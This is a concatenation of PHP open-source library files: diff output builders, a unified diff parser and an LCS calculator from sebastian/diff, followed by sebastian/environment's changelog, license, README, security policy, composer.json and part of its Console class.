$chunkSize = 0; } else { $chunkSize++; } } elseif ($capturing !== false) { if ($chunkSize >= $lineThreshold) { $commonChunks[$chunkStart] = $chunkStart + $chunkSize; } $capturing = false; } } if ($capturing !== false && $chunkSize >= $lineThreshold) { $commonChunks[$chunkStart] = $chunkStart + $chunkSize; } return $commonChunks; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff\Output; use function fclose; use function fopen; use function fwrite; use function str_ends_with; use function stream_get_contents; use function substr; use SebastianBergmann\Diff\Differ; /** * Builds a diff string representation in a loose unified diff format * listing only changes lines. Does not include line numbers. */ final class DiffOnlyOutputBuilder implements DiffOutputBuilderInterface { private string $header; public function __construct(string $header = "--- Original\n+++ New\n") { $this->header = $header; } public function getDiff(array $diff): string { $buffer = fopen('php://memory', 'r+b'); if ('' !== $this->header) { fwrite($buffer, $this->header); if (!str_ends_with($this->header, "\n")) { fwrite($buffer, "\n"); } } foreach ($diff as $diffEntry) { if ($diffEntry[1] === Differ::ADDED) { fwrite($buffer, '+' . $diffEntry[0]); } elseif ($diffEntry[1] === Differ::REMOVED) { fwrite($buffer, '-' . $diffEntry[0]); } elseif ($diffEntry[1] === Differ::DIFF_LINE_END_WARNING) { fwrite($buffer, ' ' . $diffEntry[0]); continue; // Warnings should not be tested for line break, it will always be there } else { /* Not changed (old) 0 */ continue; // we didn't write the not-changed line, so do not add a line break either } $lc = substr($diffEntry[0], -1); if ($lc !== "\n" && $lc !== "\r") { fwrite($buffer, "\n"); // \No newline at end of file } } $diff = stream_get_contents($buffer, -1, 0); fclose($buffer); return $diff; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff\Output; /** * Defines how an output builder should take a generated * diff array and return a string representation of that diff. */ interface DiffOutputBuilderInterface { public function getDiff(array $diff): string; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff\Output; use function array_merge; use function array_splice; use function count; use function fclose; use function fopen; use function fwrite; use function is_bool; use function is_int; use function is_string; use function max; use function min; use function sprintf; use function stream_get_contents; use function substr; use SebastianBergmann\Diff\ConfigurationException; use SebastianBergmann\Diff\Differ; /** * Strict Unified diff output builder. * * Generates (strict) Unified diff's (unidiffs) with hunks. */ final class StrictUnifiedDiffOutputBuilder implements DiffOutputBuilderInterface { private static array $default = [ 'collapseRanges' => true, // ranges of length one are rendered with the trailing `,1` 'commonLineThreshold' => 6, // number of same lines before ending a new hunk and creating a new one (if needed) 'contextLines' => 3, // like `diff: -u, -U NUM, --unified[=NUM]`, for patch/git apply compatibility best to keep at least @ 3 'fromFile' => null, 'fromFileDate' => null, 'toFile' => null, 'toFileDate' => null, ]; private bool $changed; private bool $collapseRanges; /** * @psalm-var positive-int */ private int $commonLineThreshold; private string $header; /** * @psalm-var positive-int */ private int $contextLines; public function __construct(array $options = []) { $options = array_merge(self::$default, $options); if (!is_bool($options['collapseRanges'])) { throw new ConfigurationException('collapseRanges', 'a bool', $options['collapseRanges']); } if (!is_int($options['contextLines']) || $options['contextLines'] < 0) { throw new ConfigurationException('contextLines', 'an int >= 0', $options['contextLines']); } if (!is_int($options['commonLineThreshold']) || $options['commonLineThreshold'] <= 0) { throw new ConfigurationException('commonLineThreshold', 'an int > 0', $options['commonLineThreshold']); } $this->assertString($options, 'fromFile'); $this->assertString($options, 'toFile'); $this->assertStringOrNull($options, 'fromFileDate'); $this->assertStringOrNull($options, 'toFileDate'); $this->header = sprintf( "--- %s%s\n+++ %s%s\n", $options['fromFile'], null === $options['fromFileDate'] ? '' : "\t" . $options['fromFileDate'], $options['toFile'], null === $options['toFileDate'] ? '' : "\t" . $options['toFileDate'], ); $this->collapseRanges = $options['collapseRanges']; $this->commonLineThreshold = $options['commonLineThreshold']; $this->contextLines = $options['contextLines']; } public function getDiff(array $diff): string { if (0 === count($diff)) { return ''; } $this->changed = false; $buffer = fopen('php://memory', 'r+b'); fwrite($buffer, $this->header); $this->writeDiffHunks($buffer, $diff); if (!$this->changed) { fclose($buffer); return ''; } $diff = stream_get_contents($buffer, -1, 0); fclose($buffer); // If the last char is not a linebreak: add it. // This might happen when both the `from` and `to` do not have a trailing linebreak $last = substr($diff, -1); return "\n" !== $last && "\r" !== $last ? $diff . "\n" : $diff; } private function writeDiffHunks($output, array $diff): void { // detect "No newline at end of file" and insert into `$diff` if needed $upperLimit = count($diff); if (0 === $diff[$upperLimit - 1][1]) { $lc = substr($diff[$upperLimit - 1][0], -1); if ("\n" !== $lc) { array_splice($diff, $upperLimit, 0, [["\n\\ No newline at end of file\n", Differ::NO_LINE_END_EOF_WARNING]]); } } else { // search back for the last `+` and `-` line, // check if it has a trailing linebreak, else add a warning under it $toFind = [1 => true, 2 => true]; for ($i = $upperLimit - 1; $i >= 0; $i--) { if (isset($toFind[$diff[$i][1]])) { unset($toFind[$diff[$i][1]]); $lc = substr($diff[$i][0], -1); if ("\n" !== $lc) { array_splice($diff, $i + 1, 0, [["\n\\ No newline at end of file\n", Differ::NO_LINE_END_EOF_WARNING]]); } if (!count($toFind)) { break; } } } } // write hunks to output buffer $cutOff = max($this->commonLineThreshold, $this->contextLines); $hunkCapture = false; $sameCount = $toRange = $fromRange = 0; $toStart = $fromStart = 1; $i = 0; /** @var int $i */ foreach ($diff as $i => $entry) { if (0 === $entry[1]) { // same if (false === $hunkCapture) { $fromStart++; $toStart++; continue; } $sameCount++; $toRange++; $fromRange++; if ($sameCount === $cutOff) { $contextStartOffset = ($hunkCapture - $this->contextLines) < 0 ? $hunkCapture : $this->contextLines; // note: $contextEndOffset = $this->contextLines; // // because we never go beyond the end of the diff. // with the cutoff/contextlines here the follow is never true; // // if ($i - $cutOff + $this->contextLines + 1 > \count($diff)) { // $contextEndOffset = count($diff) - 1; // } // // ; that would be true for a trailing incomplete hunk case which is dealt with after this loop $this->writeHunk( $diff, $hunkCapture - $contextStartOffset, $i - $cutOff + $this->contextLines + 1, $fromStart - $contextStartOffset, $fromRange - $cutOff + $contextStartOffset + $this->contextLines, $toStart - $contextStartOffset, $toRange - $cutOff + $contextStartOffset + $this->contextLines, $output, ); $fromStart += $fromRange; $toStart += $toRange; $hunkCapture = false; $sameCount = $toRange = $fromRange = 0; } continue; } $sameCount = 0; if ($entry[1] === Differ::NO_LINE_END_EOF_WARNING) { continue; } $this->changed = true; if (false === $hunkCapture) { $hunkCapture = $i; } if (Differ::ADDED === $entry[1]) { // added $toRange++; } if (Differ::REMOVED === $entry[1]) { // removed $fromRange++; } } if (false === $hunkCapture) { return; } // we end here when cutoff (commonLineThreshold) was not reached, but we were capturing a hunk, // do not render hunk till end automatically because the number of context lines might be less than the commonLineThreshold $contextStartOffset = $hunkCapture - $this->contextLines < 0 ? $hunkCapture : $this->contextLines; // prevent trying to write out more common lines than there are in the diff _and_ // do not write more than configured through the context lines $contextEndOffset = min($sameCount, $this->contextLines); $fromRange -= $sameCount; $toRange -= $sameCount; $this->writeHunk( $diff, $hunkCapture - $contextStartOffset, $i - $sameCount + $contextEndOffset + 1, $fromStart - $contextStartOffset, $fromRange + $contextStartOffset + $contextEndOffset, $toStart - $contextStartOffset, $toRange + $contextStartOffset + $contextEndOffset, $output, ); } private function writeHunk( array $diff, int $diffStartIndex, int $diffEndIndex, int $fromStart, int $fromRange, int $toStart, int $toRange, $output ): void { fwrite($output, '@@ -' . $fromStart); if (!$this->collapseRanges || 1 !== $fromRange) { fwrite($output, ',' . $fromRange); } fwrite($output, ' +' . $toStart); if (!$this->collapseRanges || 1 !== $toRange) { fwrite($output, ',' . $toRange); } fwrite($output, " @@\n"); for ($i = $diffStartIndex; $i < $diffEndIndex; $i++) { if ($diff[$i][1] === Differ::ADDED) { $this->changed = true; fwrite($output, '+' . $diff[$i][0]); } elseif ($diff[$i][1] === Differ::REMOVED) { $this->changed = true; fwrite($output, '-' . $diff[$i][0]); } elseif ($diff[$i][1] === Differ::OLD) { fwrite($output, ' ' . $diff[$i][0]); } elseif ($diff[$i][1] === Differ::NO_LINE_END_EOF_WARNING) { $this->changed = true; fwrite($output, $diff[$i][0]); } // } elseif ($diff[$i][1] === Differ::DIFF_LINE_END_WARNING) { // custom comment inserted by PHPUnit/diff package // skip // } else { // unknown/invalid // } } } private function assertString(array $options, string $option): void { if (!is_string($options[$option])) { throw new ConfigurationException($option, 'a string', $options[$option]); } } private function assertStringOrNull(array $options, string $option): void { if (null !== $options[$option] && !is_string($options[$option])) { throw new ConfigurationException($option, 'a string or ', $options[$option]); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff\Output; use function array_splice; use function count; use function fclose; use function fopen; use function fwrite; use function max; use function min; use function str_ends_with; use function stream_get_contents; use function substr; use SebastianBergmann\Diff\Differ; /** * Builds a diff string representation in unified diff format in chunks. */ final class UnifiedDiffOutputBuilder extends AbstractChunkOutputBuilder { private bool $collapseRanges = true; private int $commonLineThreshold = 6; /** * @psalm-var positive-int */ private int $contextLines = 3; private string $header; private bool $addLineNumbers; public function __construct(string $header = "--- Original\n+++ New\n", bool $addLineNumbers = false) { $this->header = $header; $this->addLineNumbers = $addLineNumbers; } public function getDiff(array $diff): string { $buffer = fopen('php://memory', 'r+b'); if ('' !== $this->header) { fwrite($buffer, $this->header); if (!str_ends_with($this->header, "\n")) { fwrite($buffer, "\n"); } } if (0 !== count($diff)) { $this->writeDiffHunks($buffer, $diff); } $diff = stream_get_contents($buffer, -1, 0); fclose($buffer); // If the diff is non-empty and last char is not a linebreak: add it. // This might happen when both the `from` and `to` do not have a trailing linebreak $last = substr($diff, -1); return '' !== $diff && "\n" !== $last && "\r" !== $last ? $diff . "\n" : $diff; } private function writeDiffHunks($output, array $diff): void { // detect "No newline at end of file" and insert into `$diff` if needed $upperLimit = count($diff); if (0 === $diff[$upperLimit - 1][1]) { $lc = substr($diff[$upperLimit - 1][0], -1); if ("\n" !== $lc) { array_splice($diff, $upperLimit, 0, [["\n\\ No newline at end of file\n", Differ::NO_LINE_END_EOF_WARNING]]); } } else { // search back for the last `+` and `-` line, // check if it has trailing linebreak, else add a warning under it $toFind = [1 => true, 2 => true]; for ($i = $upperLimit - 1; $i >= 0; $i--) { if (isset($toFind[$diff[$i][1]])) { unset($toFind[$diff[$i][1]]); $lc = substr($diff[$i][0], -1); if ("\n" !== $lc) { array_splice($diff, $i + 1, 0, [["\n\\ No newline at end of file\n", Differ::NO_LINE_END_EOF_WARNING]]); } if (!count($toFind)) { break; } } } } // write hunks to output buffer $cutOff = max($this->commonLineThreshold, $this->contextLines); $hunkCapture = false; $sameCount = $toRange = $fromRange = 0; $toStart = $fromStart = 1; $i = 0; /** @var int $i */ foreach ($diff as $i => $entry) { if (0 === $entry[1]) { // same if (false === $hunkCapture) { $fromStart++; $toStart++; continue; } $sameCount++; $toRange++; $fromRange++; if ($sameCount === $cutOff) { $contextStartOffset = ($hunkCapture - $this->contextLines) < 0 ? $hunkCapture : $this->contextLines; // note: $contextEndOffset = $this->contextLines; // // because we never go beyond the end of the diff. // with the cutoff/contextlines here the follow is never true; // // if ($i - $cutOff + $this->contextLines + 1 > \count($diff)) { // $contextEndOffset = count($diff) - 1; // } // // ; that would be true for a trailing incomplete hunk case which is dealt with after this loop $this->writeHunk( $diff, $hunkCapture - $contextStartOffset, $i - $cutOff + $this->contextLines + 1, $fromStart - $contextStartOffset, $fromRange - $cutOff + $contextStartOffset + $this->contextLines, $toStart - $contextStartOffset, $toRange - $cutOff + $contextStartOffset + $this->contextLines, $output, ); $fromStart += $fromRange; $toStart += $toRange; $hunkCapture = false; $sameCount = $toRange = $fromRange = 0; } continue; } $sameCount = 0; if ($entry[1] === Differ::NO_LINE_END_EOF_WARNING) { continue; } if (false === $hunkCapture) { $hunkCapture = $i; } if (Differ::ADDED === $entry[1]) { $toRange++; } if (Differ::REMOVED === $entry[1]) { $fromRange++; } } if (false === $hunkCapture) { return; } // we end here when cutoff (commonLineThreshold) was not reached, but we were capturing a hunk, // do not render hunk till end automatically because the number of context lines might be less than the commonLineThreshold $contextStartOffset = $hunkCapture - $this->contextLines < 0 ? $hunkCapture : $this->contextLines; // prevent trying to write out more common lines than there are in the diff _and_ // do not write more than configured through the context lines $contextEndOffset = min($sameCount, $this->contextLines); $fromRange -= $sameCount; $toRange -= $sameCount; $this->writeHunk( $diff, $hunkCapture - $contextStartOffset, $i - $sameCount + $contextEndOffset + 1, $fromStart - $contextStartOffset, $fromRange + $contextStartOffset + $contextEndOffset, $toStart - $contextStartOffset, $toRange + $contextStartOffset + $contextEndOffset, $output, ); } private function writeHunk( array $diff, int $diffStartIndex, int $diffEndIndex, int $fromStart, int $fromRange, int $toStart, int $toRange, $output ): void { if ($this->addLineNumbers) { fwrite($output, '@@ -' . $fromStart); if (!$this->collapseRanges || 1 !== $fromRange) { fwrite($output, ',' . $fromRange); } fwrite($output, ' +' . $toStart); if (!$this->collapseRanges || 1 !== $toRange) { fwrite($output, ',' . $toRange); } fwrite($output, " @@\n"); } else { fwrite($output, "@@ @@\n"); } for ($i = $diffStartIndex; $i < $diffEndIndex; $i++) { if ($diff[$i][1] === Differ::ADDED) { fwrite($output, '+' . $diff[$i][0]); } elseif ($diff[$i][1] === Differ::REMOVED) { fwrite($output, '-' . $diff[$i][0]); } elseif ($diff[$i][1] === Differ::OLD) { fwrite($output, ' ' . $diff[$i][0]); } elseif ($diff[$i][1] === Differ::NO_LINE_END_EOF_WARNING) { fwrite($output, "\n"); // $diff[$i][0] } else { /* Not changed (old) Differ::OLD or Warning Differ::DIFF_LINE_END_WARNING */ fwrite($output, ' ' . $diff[$i][0]); } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use function array_pop; use function assert; use function count; use function max; use function preg_match; use function preg_split; /** * Unified diff parser. */ final class Parser { /** * @return Diff[] */ public function parse(string $string): array { $lines = preg_split('(\r\n|\r|\n)', $string); if (!empty($lines) && $lines[count($lines) - 1] === '') { array_pop($lines); } $lineCount = count($lines); $diffs = []; $diff = null; $collected = []; for ($i = 0; $i < $lineCount; $i++) { if (preg_match('#^---\h+"?(?P[^\\v\\t"]+)#', $lines[$i], $fromMatch) && preg_match('#^\\+\\+\\+\\h+"?(?P[^\\v\\t"]+)#', $lines[$i + 1], $toMatch)) { if ($diff !== null) { $this->parseFileDiff($diff, $collected); $diffs[] = $diff; $collected = []; } assert(!empty($fromMatch['file'])); assert(!empty($toMatch['file'])); $diff = new Diff($fromMatch['file'], $toMatch['file']); $i++; } else { if (preg_match('/^(?:diff --git |index [\da-f.]+|[+-]{3} [ab])/', $lines[$i])) { continue; } $collected[] = $lines[$i]; } } if ($diff !== null && count($collected)) { $this->parseFileDiff($diff, $collected); $diffs[] = $diff; } return $diffs; } private function parseFileDiff(Diff $diff, array $lines): void { $chunks = []; $chunk = null; $diffLines = []; foreach ($lines as $line) { if (preg_match('/^@@\s+-(?P\d+)(?:,\s*(?P\d+))?\s+\+(?P\d+)(?:,\s*(?P\d+))?\s+@@/', $line, $match, PREG_UNMATCHED_AS_NULL)) { $chunk = new Chunk( (int) $match['start'], isset($match['startrange']) ? max(0, (int) $match['startrange']) : 1, (int) $match['end'], isset($match['endrange']) ? max(0, (int) $match['endrange']) : 1, ); $chunks[] = $chunk; $diffLines = []; continue; } if (preg_match('/^(?P[+ -])?(?P.*)/', $line, $match)) { $type = Line::UNCHANGED; if ($match['type'] === '+') { $type = Line::ADDED; } elseif ($match['type'] === '-') { $type = Line::REMOVED; } $diffLines[] = new Line($type, $match['line']); $chunk?->setLines($diffLines); } } $diff->setChunks($chunks); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use function array_reverse; use function count; use function max; use SplFixedArray; final class TimeEfficientLongestCommonSubsequenceCalculator implements LongestCommonSubsequenceCalculator { /** * @inheritDoc */ public function calculate(array $from, array $to): array { $common = []; $fromLength = count($from); $toLength = count($to); $width = $fromLength + 1; $matrix = new SplFixedArray($width * ($toLength + 1)); for ($i = 0; $i <= $fromLength; $i++) { $matrix[$i] = 0; } for ($j = 0; $j <= $toLength; $j++) { $matrix[$j * $width] = 0; } for ($i = 1; $i <= $fromLength; $i++) { for ($j = 1; $j <= $toLength; $j++) { $o = ($j * $width) + $i; // don't use max() to avoid function call overhead $firstOrLast = $from[$i - 1] === $to[$j - 1] ? $matrix[$o - $width - 1] + 1 : 0; if ($matrix[$o - 1] > $matrix[$o - $width]) { if ($firstOrLast > $matrix[$o - 1]) { $matrix[$o] = $firstOrLast; } else { $matrix[$o] = $matrix[$o - 1]; } } else { if ($firstOrLast > $matrix[$o - $width]) { $matrix[$o] = $firstOrLast; } else { $matrix[$o] = $matrix[$o - $width]; } } } } $i = $fromLength; $j = $toLength; while ($i > 0 && $j > 0) { if ($from[$i - 1] === $to[$j - 1]) { $common[] = $from[$i - 1]; $i--; $j--; } else { $o = ($j * $width) + $i; if ($matrix[$o - $width] > $matrix[$o - 1]) { $j--; } else { $i--; } } } return array_reverse($common); } } # Changes in sebastianbergmann/environment All notable changes in `sebastianbergmann/environment` are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [6.1.0] - 2024-03-23 ### Added * [#72](https://github.com/sebastianbergmann/environment/pull/72): `Runtime::getRawBinary()` ## [6.0.1] - 2023-04-11 ### Fixed * [#68](https://github.com/sebastianbergmann/environment/pull/68): The Just-in-Time compiler is disabled when `opcache.jit_buffer_size` is set to `0` * [#70](https://github.com/sebastianbergmann/environment/pull/70): The first `0` of `opcache.jit` only disables CPU-specific optimizations, not the Just-in-Time compiler itself ## [6.0.0] - 2023-02-03 ### Removed * Removed `SebastianBergmann\Environment\OperatingSystem::getFamily()` because this component is no longer supported on PHP versions that do not have `PHP_OS_FAMILY` * Removed `SebastianBergmann\Environment\Runtime::isHHVM()` * This component is no longer supported on PHP 7.3, PHP 7.4, and PHP 8.0 ## [5.1.5] - 2022-MM-DD ### Fixed * [#59](https://github.com/sebastianbergmann/environment/issues/59): Wrong usage of `stream_isatty()`, `fstat()` used without checking whether the function is available ## [5.1.4] - 2022-04-03 ### Fixed * [#63](https://github.com/sebastianbergmann/environment/pull/63): `Runtime::getCurrentSettings()` does not correctly process INI settings ## [5.1.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [5.1.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [5.1.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [5.1.0] - 2020-04-14 ### Added * `Runtime::performsJustInTimeCompilation()` returns `true` if PHP 8's JIT is active, `false` otherwise ## [5.0.2] - 2020-03-31 ### Fixed * [#55](https://github.com/sebastianbergmann/environment/issues/55): `stty` command is executed even if no tty is available ## [5.0.1] - 2020-02-19 ### Changed * `Runtime::getNameWithVersionAndCodeCoverageDriver()` now prioritizes PCOV over Xdebug when both extensions are loaded (just like php-code-coverage does) ## [5.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.1 and PHP 7.2 ## [4.2.3] - 2019-11-20 ### Changed * [#50](https://github.com/sebastianbergmann/environment/pull/50): Windows improvements to console capabilities ### Fixed * [#49](https://github.com/sebastianbergmann/environment/issues/49): Detection how OpCache handles docblocks does not work correctly when PHPDBG is used ## [4.2.2] - 2019-05-05 ### Fixed * [#44](https://github.com/sebastianbergmann/environment/pull/44): `TypeError` in `Console::getNumberOfColumnsInteractive()` ## [4.2.1] - 2019-04-25 ### Fixed * Fixed an issue in `Runtime::getCurrentSettings()` ## [4.2.0] - 2019-04-25 ### Added * [#36](https://github.com/sebastianbergmann/environment/pull/36): `Runtime::getCurrentSettings()` ## [4.1.0] - 2019-02-01 ### Added * Implemented `Runtime::getNameWithVersionAndCodeCoverageDriver()` method * [#34](https://github.com/sebastianbergmann/environment/pull/34): Support for PCOV extension ## [4.0.2] - 2019-01-28 ### Fixed * [#33](https://github.com/sebastianbergmann/environment/issues/33): `Runtime::discardsComments()` returns true too eagerly ### Removed * Removed support for Zend Optimizer+ in `Runtime::discardsComments()` ## [4.0.1] - 2018-11-25 ### Fixed * [#31](https://github.com/sebastianbergmann/environment/issues/31): Regressions in `Console` class ## [4.0.0] - 2018-10-23 [YANKED] ### Fixed * [#25](https://github.com/sebastianbergmann/environment/pull/25): `Console::hasColorSupport()` does not work on Windows ### Removed * This component is no longer supported on PHP 7.0 ## [3.1.0] - 2017-07-01 ### Added * [#21](https://github.com/sebastianbergmann/environment/issues/21): Equivalent of `PHP_OS_FAMILY` (for PHP < 7.2) ## [3.0.4] - 2017-06-20 ### Fixed * [#20](https://github.com/sebastianbergmann/environment/pull/20): PHP 7 mode of HHVM not forced ## [3.0.3] - 2017-05-18 ### Fixed * [#18](https://github.com/sebastianbergmann/environment/issues/18): `Uncaught TypeError: preg_match() expects parameter 2 to be string, null given` ## [3.0.2] - 2017-04-21 ### Fixed * [#17](https://github.com/sebastianbergmann/environment/issues/17): `Uncaught TypeError: trim() expects parameter 1 to be string, boolean given` ## [3.0.1] - 2017-04-21 ### Fixed * Fixed inverted logic in `Runtime::discardsComments()` ## [3.0.0] - 2017-04-21 ### Added * Implemented `Runtime::discardsComments()` for querying whether the PHP runtime discards annotations ### Removed * This component is no longer supported on PHP 5.6 [6.1.0]: https://github.com/sebastianbergmann/environment/compare/6.0.1...6.1.0 [6.0.1]: https://github.com/sebastianbergmann/environment/compare/6.0.0...6.0.1 [6.0.0]: https://github.com/sebastianbergmann/environment/compare/5.1.5...6.0.0 [5.1.5]: https://github.com/sebastianbergmann/environment/compare/5.1.4...5.1.5 [5.1.4]: https://github.com/sebastianbergmann/environment/compare/5.1.3...5.1.4 [5.1.3]: https://github.com/sebastianbergmann/environment/compare/5.1.2...5.1.3 [5.1.2]: https://github.com/sebastianbergmann/environment/compare/5.1.1...5.1.2 [5.1.1]: https://github.com/sebastianbergmann/environment/compare/5.1.0...5.1.1 [5.1.0]: https://github.com/sebastianbergmann/environment/compare/5.0.2...5.1.0 [5.0.2]: https://github.com/sebastianbergmann/environment/compare/5.0.1...5.0.2 [5.0.1]: https://github.com/sebastianbergmann/environment/compare/5.0.0...5.0.1 [5.0.0]: https://github.com/sebastianbergmann/environment/compare/4.2.3...5.0.0 [4.2.3]: https://github.com/sebastianbergmann/environment/compare/4.2.2...4.2.3 [4.2.2]: https://github.com/sebastianbergmann/environment/compare/4.2.1...4.2.2 [4.2.1]: https://github.com/sebastianbergmann/environment/compare/4.2.0...4.2.1 [4.2.0]: https://github.com/sebastianbergmann/environment/compare/4.1.0...4.2.0 [4.1.0]: https://github.com/sebastianbergmann/environment/compare/4.0.2...4.1.0 [4.0.2]: https://github.com/sebastianbergmann/environment/compare/4.0.1...4.0.2 [4.0.1]: https://github.com/sebastianbergmann/environment/compare/66691f8e2dc4641909166b275a9a4f45c0e89092...4.0.1 [4.0.0]: https://github.com/sebastianbergmann/environment/compare/3.1.0...66691f8e2dc4641909166b275a9a4f45c0e89092 [3.1.0]: https://github.com/sebastianbergmann/environment/compare/3.0...3.1.0 [3.0.4]: https://github.com/sebastianbergmann/environment/compare/3.0.3...3.0.4 [3.0.3]: https://github.com/sebastianbergmann/environment/compare/3.0.2...3.0.3 [3.0.2]: https://github.com/sebastianbergmann/environment/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/environment/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/environment/compare/2.0...3.0.0 BSD 3-Clause License Copyright (c) 2014-2024, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/environment/v/stable.png)](https://packagist.org/packages/sebastian/environment) [![CI Status](https://github.com/sebastianbergmann/environment/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/environment/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/environment/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/environment) [![codecov](https://codecov.io/gh/sebastianbergmann/environment/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/environment) # sebastian/environment This component provides functionality that helps writing PHP code that has runtime-specific (PHP / HHVM) execution paths. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/environment ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/environment ``` # Security Policy If you believe you have found a security vulnerability in the library that is developed in this repository, please report it to us through coordinated disclosure. **Please do not report security vulnerabilities through public GitHub issues, discussions, or pull requests.** Instead, please email `sebastian@phpunit.de`. Please include as much of the information listed below as you can to help us better understand and resolve the issue: * The type of issue * Full paths of source file(s) related to the manifestation of the issue * The location of the affected source code (tag/branch/commit or direct URL) * Any special configuration required to reproduce the issue * Step-by-step instructions to reproduce the issue * Proof-of-concept or exploit code (if possible) * Impact of the issue, including how an attacker might exploit the issue This information will help us triage your report more quickly. ## Web Context The library that is developed in this repository was either extracted from [PHPUnit](https://github.com/sebastianbergmann/phpunit) or developed specifically as a dependency for PHPUnit. The library is developed with a focus on development environments and the command-line. No specific testing or hardening with regard to using the library in an HTTP or web context or with untrusted input data is performed. The library might also contain functionality that intentionally exposes internal application data for debugging purposes. If the library is used in a web application, the application developer is responsible for filtering inputs or escaping outputs as necessary and for verifying that the used functionality is safe for use within the intended context. Vulnerabilities specific to the use outside a development context will be fixed as applicable, provided that the fix does not have an averse effect on the primary use case for development purposes. { "name": "sebastian/environment", "description": "Provides functionality to handle HHVM/PHP environments", "keywords": ["environment","hhvm","xdebug"], "homepage": "https://github.com/sebastianbergmann/environment", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "support": { "issues": "https://github.com/sebastianbergmann/environment/issues", "security": "https://github.com/sebastianbergmann/environment/security/policy" }, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "prefer-stable": true, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "suggest": { "ext-posix": "*" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-main": "6.1-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Environment; use const DIRECTORY_SEPARATOR; use const STDIN; use const STDOUT; use function defined; use function fclose; use function fstat; use function function_exists; use function getenv; use function is_resource; use function is_string; use function posix_isatty; use function preg_match; use function proc_close; use function proc_open; use function sapi_windows_vt100_support; use function shell_exec; use function stream_get_contents; use function stream_isatty; use function trim; final class Console { /** * @var int */ public const STDIN = 0; /** * @var int */ public const STDOUT = 1; /** * @var int */ public const STDERR = 2; /** * Returns true if STDOUT supports colorization. * * This code has been copied and adapted from * Symfony\Component\Console\Output\StreamOutput. */ public function hasColorSupport(): bool { if ('Hyper' === getenv('TERM_PROGRAM')) { return true; } if ($this->isWindows()) { // @codeCoverageIgnoreStart return (defined('STDOUT') && function_exists('sapi_windows_vt100_support') && @sapi_windows_vt100_support(STDOUT)) || false !== getenv('ANSICON') || 'ON' === getenv('ConEmuANSI') || 'xterm' === getenv('TERM'); // @codeCoverageIgnoreEnd } if (!defined('STDOUT')) { // @codeCoverageIgnoreStart return false; // @codeCoverageIgnoreEnd } return $this->isInteractive(STDOUT); } /** * Returns the number of columns of the terminal. * * @codeCoverageIgnore */ public function getNumberOfColumns(): int { if (!$this->isInteractive(defined('STDIN') ? STDIN : self::STDIN)) { return 80; } if ($this->isWindows()) { return $this->getNumberOfColumnsWindows(); } return $this->getNumberOfColumnsInteractive(); } /** * Returns if the file descriptor is an interactive terminal or not. * * Normally, we want to use a resource as a parameter, yet sadly it's not always available, * eg when running code in interactive console (`php -a`), STDIN/STDOUT/STDERR constants are not defined. * * @param int|resource $fileDescriptor */ public function isInteractive($fileDescriptor = self::STDOUT): bool { if (is_resource($fileDescriptor)) { if (function_exists('stream_isatty') && @stream_isatty($fileDescriptor)) { return true; } if (function_exists('fstat')) { $stat = @fstat(STDOUT); return $stat && 0o020000 === ($stat['mode'] & 0o170000); } return false; } return function_exists('posix_isatty') && @posix_isatty($fileDescriptor); } private function isWindows(): bool { return DIRECTORY_SEPARATOR === '\\'; } /** * @codeCoverageIgnore */ private function getNumberOfColumnsInteractive(): int { if (function_exists('shell_exec') && 